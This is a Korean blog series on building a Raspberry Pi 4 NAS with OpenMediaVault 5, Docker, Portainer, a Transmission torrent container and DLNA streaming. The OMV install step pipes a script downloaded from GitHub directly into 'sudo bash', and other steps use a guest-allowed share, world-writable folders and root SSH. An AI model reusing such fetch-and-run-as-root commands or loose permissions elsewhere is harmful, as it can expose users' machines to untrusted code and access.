동영상 파일들이 저장되는 위치입니다.
네트워크 공유 폴더이기 때문에
공유폴더가 없는 경우 새로 생성해주면 됩니다.

DLNA 폴더 설정

DLNA도 SMB/CIFS와 마찬가지로
활성화를 해줘야 합니다.

OMV 5 웹 콘솔 > DLNA > 설정 >
활성화 > 저장 > 적용

DLNA 활성화

DLNA 설치 완료 및 서버에 접속

동영상 시청

DLNA 기능을 제공하는
플레이어를 설치하여
시청하면 됩니다.

PC에서는
5Kplayer를
사용하고 있습니다.

https://www.5kplayer.com/

5KPlayer - Built-in with Free AirPlay & DLNA Media Streamer and Online Video Downloader, Best Free 4K 5K Music Video Player Soft

A Hardware-accelerated Free Music & Video Player5KPlayer, Now Firmly Engined by Hardware Acceleration Boosted by NVIDIA CUDA®, AMD, Intel® QSV, & DXVA 2.0 Hardware-acceleration, this full HD player for macOS/Mac OS X and Windows 10/8/7/Vista/XP consequen

www.5kplayer.com

끝!

다운받은 동영상

재밌게 보세요!

2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치

2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정

[라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정

루딘이 — Wed, 21 Jul 2021 00:24:38 +0900

그냥 바로 써도

상관 없습니다.

토렌트 자동 삭제 등의

설정 방법 안내입니다.

스크립트 생성

토렌트 파일을
모두 다운받고난 뒤
무엇을 할지 정의하는
스크립트를 작성합니다.

SSH: root 계정 접속
# cd [trasmission 디렉토리]/config
# mkdir scripts
# cd scripts
# vi torrent_done.sh
내용 입력
# chmod a+x torrent_done.sh

스크립트 생성

아래는 스크립트 파일의 내용 입니다.

#!/bin/sh
# MOVEDIR=/downloads/media	# 완료된 파일 이동 위치
LOGFILE=/config/done_log	# 로그 파일

TORRENTLIST=`transmission-remote --list | sed -e '1d;$d;s/^ *//' | cut --only-delimited --delimiter=' ' --fields=1`                                           
for TORRENTID in $TORRENTLIST
do                                                                                  
echo "* * * * * Operations on torrent ID $TORRENTID starting. * * * * *" >> $LOGFILE

DL_COMPLETED=`transmission-remote --torrent $TORRENTID --info | grep "Percent Done: 100%"`              
                                  
if [ "$DL_COMPLETED" != "" ]; then                  
echo "Torrent #$TORRENTID is completed." >> $LOGFILE
echo "Removing torrent from list." >> $LOGFILE                         
# transmission-remote --torrent $TORRENTID --move $MOVEDIR              
transmission-remote --torrent $TORRENTID --remove	# 완료된 토렌트 삭제
else                                                              
echo "Torrent #$TORRENTID is not completed. Ignoring." >> $LOGFILE
fi

echo "* * * * * Operations on torrent ID $TORRENTID completed. * * * * *" >> $LOGFILE
done

이제, transmission의
설정을 변경해야합니다.

transmission이 동작 중이면
수정이 안되기 때문에,
Docker 또는 Portainer에서
Stop 후
수정하고 재시작해야합니다.

Transmission Stop

다시, 라즈베리파이 콘솔로
돌아와서 수정합니다.

# cd [transmission 디렉토리]/conf
# vi settings.json
...
"script-torrent-done-enabled": true,
"script-torrent-done-filename": "/config/scripts/torrent_done.sh",
...
"trash-original-torrent-files": true,

transmission 설정 파일 수정

settings.json 수정

접속! 다운로드!

Transmission에 대한
모든 작업이 끝났습니다.

Transmission으로 접속하고
토렌트 파일을 업로드하여
원하는 자료를 다운받으시면 됩니다.

http://[라즈베리파이 주소]:9091

토렌트 파일 업로드 / 마그넷 주소 등록

마그넷 주소로 등록하면
자료를 찾느라 시간이 걸리지만,
곧 다운로드를 시작합니다.

자료 다운로드 중

다운로드가 끝나면
등록한 스크립트와 설정에 의해
토렌트 파일이 삭제되고
업로드 목록에서 또한 삭제되어
불필요한 공유를 하지 않아도 됩니다.

삭제된 토렌트 목록과 다운로드 완료된 파일

끝!

Transmission을 통한

토렌트 파일 다운로드 설정이

끝났습니다.

다음에는 다운받은 동영상을

다른 기기에서 보는 방법을

설명하겠습니다.

2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치

2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정

[라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치

루딘이 — Tue, 20 Jul 2021 23:41:35 +0900

미디어 서버로 활용하기 전에

동영상 파일을 구할

리눅스용

토렌트 프로그램인

transmission을

설치합니다.

Transmission Image 다운로드

Docker에
Transmission을 설치하기 위해
미리 생성된 Image를
다운 받습니다.

Portainer 접속 후 local >
Image > Image: linuxserver/transmission 입력 > Pull the image

공개된 Transmission Image를

자동으로 다운받습니다.

(https://hub.docker.com/r/linuxserver/transmission)

Docker Hub

hub.docker.com

Transmission Image 다운로드

공유 폴더 생성

transmission 에서는
3가지 볼륨 설정이
필요합니다.

/config: transmission 설정 디렉토리
/watch: 이곳에 있는 .torrent 파일 자동 다운로드
/downloads: 다운 중이거나 완료된 파일 보관

또한, Docker와 라즈베리파이의
외부에서 접근 가능하게 하기위해
상위 공유폴더를 생성한 후,
그 안에 3가지 폴더를
생성해야 합니다.

상위 공유폴더 생성:
OMV 웹 페이지 > 공유 폴더 > 추가 >
이름, 장치(외장하드), 경로 > 저장 > 적용
- 경로는 자동 생성되나 변경 가능합니다.

공유 폴더 생성

생성한 공유 폴더를
공유 시킵니다.

OMV 웹 페이지 > SMB/CIFS > 공유 > 추가 >
생성한 공유 폴더 선택 > 공개: 게스트 허용됨 >
저장 > 적용

폴더 공유(SMB)

공유 폴더가 생성되었다면,
폴더 공유를 위해
SMB/CIFS를 활성화 해야합니다.

OMV 웹 페이지 > SMB/CIFS > 설정 > 활성화 > 저장 > 적용

SMB/CIFS 활성화

조금(많이) 기다리면
윈도우의 네트워크에서
라즈베리파이를
확인할 수 있습니다.

접속해서 폴더를
생성해야하는 데,
권한이 필요하다고 하면
아래와 같이
SSH로 접속하여
권한을 추가해야 합니다.

SSH: root 계정 접속 > 공유된 디렉토리의 상위 디렉토리로 이동 >
권한 추가: chmod a+w [공유 대상 디렉토리]
- 아래 스샷엔 x(실행 권한)으로 되어있으나 오타입니다.
w(수정 권한)이 맞습니다.

권한이 없습니다.

수정 권한 추가

이제 공유폴더에 재접속한 후,
다시 폴더를 생성하면
됩니다.

해당 폴더들도 위와 마찬가지로
권한을 추가해줍니다.

폴더 생성

수정 권한 추가

Docker Container 생성

이제 Portainer에서
transmission의 container를
생성합니다.

Portainer > Containers > Add container

Contaier 추가

* 중요:
21.07.20 현재
최신 버전의 transmission은
토렌트 다운이 안되는 현상이 있기 때문에,
구버전의 transmission(3.00-r0-1s75)으로
설치해야합니다.

Name: 자유
Image: linuxserver/transmission:3.00-r0-1s75
publish a new network port(Docker 외부와 포트 바인딩)
- transmission 웹 페이지: 9091 -> 9091 TCP
- 토렌트 다운로드용 포트: 51413 -> 51413 TCP
- 토렌트 다운로드용 포트: 51413 -> 51413 UDP

Container 설정-1

아래로 내려와서
위에서 생성한 디렉토리들과
Docker 내의 디렉토리를
연결(Bind)해야 합니다.

Volumes > + map additional volume >
- /config -> [공유된 디렉토리]/config (Bind, Writable)
- /watch -> [공유된 디렉토리]/watch (Bind, Writable)
- /downloads -> [공유된 디렉토리]/downloads (Bind, Writable)

디렉토리 바인딩

이번엔 환경변수를
설정합니다.

Env > + add environment variable
- PUID > 65534(Nobody)
- PGUID > 100(라즈베리파이 users 그룹)
- TZ > Asia/Seoul

환경변수 설정

끝으로 재부팅 정책을 설정하고
Deploy(배포) 합니다.

Restart policy > Unless stopped
> Deploy the container

- no: 프로세스가 종료되더라도 컨테이너를 재시작하시 않습니다.
- on-failure: 프로레스 exit code 가 0 이 아닐 때 재시작합니다. 지정하지 않으면 계속해서 컨테이너를 재시작 합니다.
- always: 프로세스의 exit code 와는 관계없이 재시작 합니다.
- unless-stopped: 부팅시 자동으로 컨테이너를 재시작 합니다.

재부팅 정책 설정

끝

설치는 끝났으니,

이제 설정을 해줘야합니다.

2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치

2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정

[라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치

루딘이 — Tue, 20 Jul 2021 21:49:42 +0900

라즈베리파이를

미디어 서버로 활용하기 위한

패키지 설치 단계입니다.

우선, Docker와 Portainer를

설치합니다.

Docker?

Docker:
도커는 리눅스의 응용 프로그램들을 프로세스 격리 기술들을 사용해
컨테이너로 실행하고 관리하는 오픈 소스 프로젝트이다.
도커 웹 페이지의 기능을 인용하면 다음과 같다:
도커 컨테이너는 일종의 소프트웨어를
소프트웨어의 실행에 필요한 모든 것을 포함하는
완전한 파일 시스템 안에 감싼다.
(위키백과)

쉽게 말하자면,

리눅스 운영체제 안에

가상으로

리눅스 운영체제 환경을

여러개 생성하여

여러 프로그램(서비스)들을

별도로 관리하게 해주는

프로그램입니다.

Portainer?

Portainer:
Docker의 컨테이너(Container)들을
웹에서 관리할 수 있게 도와주는
패키지 입니다.

DNS 설정

도커와 포테이너를 설치하려면

기존과 다른 방법으로

DNS를 설정해줘야 합니다.

root로 ssh를 통해
라즈베리파이에 접속한 후,
아래 파일의 내용을
수정합니다.

# vi /etc/resolv.conf
nameserver 8.8.8.8
search 8.8.4.4

Docker, Portainer 설치용 DNS 추가

Docker 설치

OMV 웹 페이지에서
설치합니다.

시스템 > OMV-Extras > Docker > Docker > 설치 > 저장
~~- 저장 깜빡하기 쉽습니다..~~

만약, OMV-Extras가 없다면,
apt-get으로 설치하면 됩니다.

저는 64GB MicroSD Card에
라즈베리파이를 설치했기 때문에
그냥 설치하지만,
다른 곳에 설치하고 싶으시면
Docker Stroage의 내용을
마운트한 외장하드로
변경하면 됩니다.

Docker 설치

Portainer 설치

Portainer 또한 같은 방법으로 설치합니다.

시스템 > OMV-Extras > Docker > Portainer > 설치 > 저장
~~- 저장 깜빡하기 쉽습니다..~~

Portainer 설치

Portainer 설정

Portainer의 기본 설정을

할 차례입니다.

Portainer 까지 설치가 끝나면,
Portianer 옆에
Open Portainer 가 생깁니다.

Open Portainer를 클릭하여
접속할 수 있습니다.
(http://[라즈베리파이 주소]:9000/)

접속한 후
관리자 계정을
설정합니다.

관리자 설정

다음 화면에서는
연결할 Docker를
선택하라고 하는 데,

우리는 라즈베리파이의
Docker에 연결하기 때문에
왼쪽, 첫 번째를 선택하시면
됩니다.

Docker 연결

끝

Docker와 Portainer의

설치가 끝났습니다.

다음 글에서는

토렌트 프로그램과

공유 폴더에 대해

설명하겠습니다.

2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치

2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정

[라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트

루딘이 — Tue, 20 Jul 2021 21:15:08 +0900

포맷한 외장하드를

마운트하는 방법과

부팅 시 자동으로

마운트하는

설정 방법입니다.

파티션 마운트

포맷한 디스크를

라즈베리파이에

Mount 시켜야

사용할 수 있습니다.

파일 시스템 > 레이블 선택 > 마운트

파티션 마운트

안된다면,

직접 명령어로

마운트 시키는 방법도

있습니다.

SSH에 root 계정으로
로그인한 후,
아래 명령어를 입력합니다.

# mount -t ext [마운트할 파티션 경로] [연결할 디렉토리]
연결할 디렉토리: OMV5는 보통 /srv/dev-disk-by-uuid-[파티션 UUID]

에 마운트 시킵니다.

외장하드 마운트

자동 마운트

라즈베리파이와

외장하드의

연결이 불안정하기도 하고

부팅 시마다

자동으로 마운트하기 위한

설정을 해야 합니다.

먼저, 외장하드의 UUID를 확인합니다.
$ blkid

자동 마운트 관리 파일인
/etc/fstab 에 관련 설정을
적어야 합니다.

이미 OMV에서
연결한 외장하드에 대한 설정을
적어놨기 때문에
약간의 수정만 해주면 됩니다.
$ vi /etc/fstab

외장하드 UUID 확인

/etc/fstab 수정은
기존의 내용을
주석 처리한 후,

아래에 동일한 내용을
작성하고
첫 번째 필드만
획득한 UUID로
바꾸면 됩니다.

/etc/fstab 수정

/etc/fstab 필드 설명

/etc/fstab의 각 필드 내용은

다음과 같습니다.

- 첫번쨰( /dev/sdb1) : mount 되어야 할 장치명 또는 장치의 UUID
- 두번쨰줄( /linux/auto1 ) : 장치와 mount 될 디렉토리 == mount point
- 세번쨰 : 파일시스템의 종류 ( 타입 )
ex) ext3 , ext4 , xfs , nfs , swap , iso9660 ...
- 네번쨰 : mount option ( 마운트 적용 옵션 )
- auto: 부팅시 자동으로 마운트
- exec: 실행파일 실행 허용
- suid: SetUID, SetGID 허용
- no user: 관리자만 마운트 허용
- ro: 읽기 전용
- rw: 읽기 쓰기 허용
- usrquota: 일반 사용자 quota 허용
- grpquota: 그룹 사용자 quota 허용
- defaults: rw, exec , suid , no user , auto 의미 포함
- 다섯번쨰 : dump 허용 여부(backup)
- 6.x 까지는 0 , 1 값으로 설정 == 0 : 허용 x / 1 : 허용 o
- 7.x 부터는 기본값 0으로 설정 == 해당 필드 기능 지원 안 함
- 여섯번쨰 : fsck == file system check == 무결성 검사
- 부팅시 파일시스템 체크 여부를 지정
- 6.x 까지는 0 , 1 , 2 , 값으로 설정 2 == 0 ( 체크안함 ) // 1( / : 최상위) // 2 ( 그밖의 나머지 )
- 7.x 부터는 기본값 0으로 설정 == 해당 필드 기능을 파일시스템의 기능으로 대체
- xfs 라는 파일시스템의 기능에는 저널복구 옵션이 포함 > 신속한 복구 , 빠른 재시작
- 저널복구 옵션으로 참조 되었다 /etc/fstab 필드 기능을 더 이상 사용 안 함

끝

라즈베리파이를 보통

USB 충전기에 연결하기 때문에

전력이 낮아서

외장하드 마운트가 해제될 수

있습니다.

외장하드에 별도 전원을

공급하는 방법을 추천드립니다.

NEXT-418U3 USB 3.0 SATA to USB 변환 젠더

COUPANG

www.coupang.com

"이 포스팅은 쿠팡 파트너스 활동의 일환으로, 이에 따른 일정액의 수수료를 제공받습니다."

2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치

2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정

[라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷

루딘이 — Tue, 20 Jul 2021 03:44:47 +0900

라즈베리파이의

로컬 디스크는

MicroSD Card를

사용하기 때문에

불안정하기도 하고,

많은 자료를 저장하려면

외장 하드를

연결할 수 밖에 없습니다.

주의점

외장 하드 연결은

할 때마다

문제가 발생합니다.

정서 관리가 필요합니다.

외장 하드 연결

외장하드를 연결한 후,

인식이 되었는지

확인해야 합니다.

저장소 > 디스크
- 보통은 메뉴만 들어가도 보이나
설치부터 쭉 해와서 재부팅을 안했다면
안 보일수 있습니다.
재부팅을 한 번해 보세요.

인식된 외장 하드

외장하드의 연결이 불안한 게

전력의 문제인가 싶어

최대 성능으로 설정해 주었습니다.

디스크 > 편집 > 고급 전원 관리 >254 - 최대 성능 및 최대 전력 사용량 > 저장

최대 성능, 최대 전력 사용 설정

디스크 포맷

OMV 웹 콘솔에도

포맷 기능이 있으나.

직접 ext4로 포맷한 후

연결하는 게

편합니다.

root 계정으로 SSH 접속 후
시스템에 연결된
디스크들 중 외장하드를
확인합니다.

# fdisk -l

연결된 외장하드 확인

연결된 외장하드의
기존 파티션을 삭제하고
새로운 파티션을 생성합니다.

# fdisk [연결된 디스크 경로]
d(파티션 삭제) > n(파티션 생성) > p(primary) > 엔터(default) > 엔터(default) > w(변경 적용)

여기서 파티션 삭제는
기존에 존재하는
파티션의 수 만큼
반복해야 합니다.

파티션 삭제 및 생성

ext4 파일 시스템으로
파티션을 포맷시킵니다.

파티션의 경로를 확인한 후,
# fdisk -l

ext4로 포맷합니다.
# mkfs.ext4 [연결된 파티션 경로]
Creating journal (262144 blocks): 엔터

파티션의 경로 확인

ext4로 포맷

포맷의 결과를 확인합니다.

# blkid

파티션 확인

끝

외장하드의 포맷을 마쳤으며,

다음 글에서는

외장하드의 마운트와

부팅 시 자동으로

마운트하도록 설정하는 방법을

소개하겠습니다.

2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치

2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정

[라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)

루딘이 — Tue, 20 Jul 2021 02:22:20 +0900

이제 OMV 5를

설정할 차례입니다.

고정 IP

이미 공유기에서

MAC 주소와 IP 주소를

연결했기 때문에

굳이 해줄 필요는 없으나,

정석대로 하고자

고정 IP를 설정했습니다.

좌측 네비게이션 > 네트워크 > 인터페이스 > eth0 더블 클릭
- 설치 도중 문제가 발생하여 eth0가 없을 수도 있습니다.
추가해서 잡아주면 됩니다.

eth0 더블 클릭

집 네트워크와
본인의 생각대로
설정해주시면 됩니다.

DNS 주소의 경우
저는 보통
집 인터넷 통신사의
DNS 서버를 사용합니다.

고정 IP 설정

호스트 이름

굳이 설정할 필요는 없으나,

정확한 식별을 위해 설정했습니다.

좌측 네비게이션 > 네트워크 > 일반 > 호스트 이름 작성 > 저장

호스트 이름 설정

OMV는 설정할 때마다

적용하라고 난리...

기다려도 안끝나니

그냥 새탭열어서

다른 작업하면 됩니다.

설정 적용 중

관리자 암호

기본 비밀번호를

변경해야합니다.

좌측 네비게이션 > 일반 설정 > 웹 관리자 암호 > 암호 작성 > 저장

관리자 암호 설정

기본 설정은 끝

다음 부터는

본격적으로

데이터 서버를

만드는 과정입니다.

2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치

2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정

[라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치

루딘이 — Tue, 20 Jul 2021 01:23:54 +0900

라즈베리파이를 우선 업데이트하고,

이후에 OMV5를 설치합니다.

여기서 하는 설치들은

모두 시간이

걸립니다.

라즈베리파이 업데이트

명령어는 간단하지만

꽤 오래걸리는 작업입니다.

$ echo "y" | sudo rpi-update
$ reboot
$ sudo apt update && sudo apt full-upgrade -y ; sudo apt autoremove -y ; sudo apt autoclean -y

라즈베리파이 펌웨어 업데이트

남는 시간이 나오는 데,

0.5 기가랜인 우리집 기준

3분 정도 소요됩니다.

(다운로드만)

펌웨어 업데이트

완료된 후에는 재부팅을 해줍니다.

reboot

라즈베리파이 패키지 업데이트

꽤 오래 걸립니다....
(45분?)

설치된 패키지 업데이트

OMV(Open Media Vault) 란?

OMV(OpenMeidaVault)
- 네트워크 결합 스토리지(NAS)용으로 설계된 자유 리눅스 배포판이다.
이 프로젝트의 선임 개발자는 Volker Theile로, 2009년에 시작했다.
OMV는 데비안 운영 체제에 기반을 두며
GNU 일반 공중 사용 허가서 v3로 라이선스되어 있다.
(* 위키백과)

- 데비안 OS 기반이기 때문에 리눅스의 Redhat 계열과는 맞지 않으며,
데비안 계열의 OS(Ubuntu, Raspberry Pi OS 등)에 쉽게 설치가 가능하다.
가볍게 사용하기 좋다.(간단한 데이터 저장 용도 정도)

- NAS를 모든 기능을 사용하려면
(미디어 서버, 문서 편집, 웹 서버 운영과 같은 다양한 기능)
Synology와 같은 상용 NAS가 안정성이 높다.

- OMV 설치 시 무선 네트워크가 끊긴다고 한다.
유선 네트워크가 속도도 빠르니,
그냥 유선 네트워크를 연결해놓고 사용하는 방법을 권한다.

OMV 설치

설치는 의외로 간단합니다.

다만, 여기도

시간이 엄청 걸립니다.

(1시간?)

아래 명령어로 설치가 가능합니다.
$ wget -O - https://github.com/OpenMediaVault-Plugin-Developers/installScript/raw/master/install | sudo bash

다만, 위의 방법으로 설치가 안되면
apt-get을 사용해서 설치가 가능합니다.
하지만, 이 방법은
설치 패키지들을 명시해줘야하기 때문에
omv-extras와 같은 플러그인이
없을 수도 있습니다.
없는 패키지들을 확인한 후
apt-get으로 설치해주면 해결됩니다.

OMV5 설치 중...

다행히 첫 번째에 성공...스스로 재부팅...

하지만, 재부팅하고도
한참이 지나서야
접속이 가능합니다.

아래와 같이
ping 명령어로
접속이 가능한지 확인한 후
접속해야 합니다.

window> ping /t [라즈베리파이 주소]

접속 가능한지 확인

설치 끝!

이제 웹으로 접속해보면 됩니다.

접속 방법: http://[라즈베리파이 주소]
ID/Password: admin / openmediavault

OMV 로그인

다만, 사용자 계정으로는
SSH 접속이 안되고,

아까 SSH 접속을 허용해준

root로만 접속이 가능합니다.

사용자 계정 SSH 접속 불가

접속!

접속에 성공한 모습입니다.

OMV5 웹 화면

2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치

